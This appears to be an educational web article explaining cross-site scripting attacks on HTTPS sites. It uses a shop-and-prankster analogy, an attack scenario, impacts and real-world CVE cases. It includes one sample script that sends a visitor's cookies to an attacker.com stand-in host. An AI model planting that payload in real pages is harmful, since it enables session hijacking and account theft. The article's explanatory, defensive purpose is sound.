HTTPS Attacks - XSS - Cross-Site Scripting


In Layerman"s terms
Protagonists
Bob: A visitor to a small shop.
Alice: The shop owner.
Jack: A prankster.

Jack wants to disrupt Alice's shop and her interactions with customers like Bob.

Jack sneaks into Alice's shop and places deceptive notes (malicious scripts) on the bulletin board where customers post their messages.

When Bob, a regular customer, reads these notes, he unknowingly follows the instructions that cause him harm or steal his information (execute malicious actions). Bob trusts the notes because they are in Alice's shop, but they were actually placed there by Jack.

Alice, unaware of Jack's actions, continues to run her shop, not realizing that her customers are being misled and harmed by the deceptive notes Jack has placed.

Scenario

  • Vulnerability Identification: An attacker identifies a cross-site scripting (XSS) vulnerability on a legitimate, HTTPS-protected website. This vulnerability allows the attacker to inject malicious JavaScript code into a web page viewed by other users.

  • Exploitation: The attacker crafts a malicious URL or payload that, when accessed or clicked by a user, executes the injected JavaScript code within the context of the vulnerable website. For example, the attacker might send a phishing email with a link to the compromised page or post the link on social media.

  • Execution of Malicious Code: When the user, believing the website to be secure because it uses HTTPS, accesses the malicious link, the browser executes the injected JavaScript code. This code can perform various malicious actions, such as stealing cookies, capturing keystrokes, or redirecting the user to a phishing site.

  • Bypassing HTTPS Protections: Although the data transmitted between the user's browser and the website is encrypted by HTTPS, the malicious code executes within the user's browser. The attacker can thus gain unauthorized access to the user's data (e.g., session cookies, login credentials) or even control the user's browser session.

A simplified example of what the malicious JavaScript might look like for a malicious script to steal cookies. In this example, the script sends the user's cookies to an attacker-controlled server. These cookies might include session tokens, which the attacker can use to impersonate the user.

<script>
document.location = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

Impact

  • Data Theft: The attacker can steal sensitive information stored in the browser, such as cookies, local storage, or other session data.
  • Session Hijacking: With the stolen session cookies, the attacker can hijack the user's active session, gaining unauthorized access to the user's account on the legitimate website.
  • Further Exploitation: The attacker can use the compromised session to perform actions on behalf of the user, potentially leading to financial loss, data breaches, or further exploitation.

Effect on Privacy, Anonymity, and Hacking Concerns

Unintended, unaware or unseen malicious downloads leading to data theft and infection.

  • Joomla Vulnerabilities (2024): Joomla, a popular content management system, had several XSS vulnerabilities discovered in its versions 5.0.3 and 4.4.3. These flaws, particularly CVE-2024-21726, allowed attackers to execute arbitrary code by tricking administrators into clicking on malicious links leading to remote code execution (RCE) if the XSS flaws were exploited successfully. More here

  • A persistent XSS vulnerability (CVE-2023-43770) in Roundcube email servers in 2024 link, as well as Zimbra Collaboration Suite in 2023 (CVE-2023-38750) were actively exploited link. Attackers used this flaw to access restricted information via maliciously crafted plain/text messages and inject malicious scripts into webmail portals.

  • Exploit kits such as Angler, Rig, and Magnitude frequently utilize XSS vulnerabilities to compromise web servers and redirect users to malicious landing pages. These kits scan for browser vulnerabilities and execute XSS attacks to deliver malware through encrypted HTTPS connections, making detection challenging. More here


Done!

Thanks and Congratulations for reading this to the end. We hope this article brings a little clarity over XSS attacks.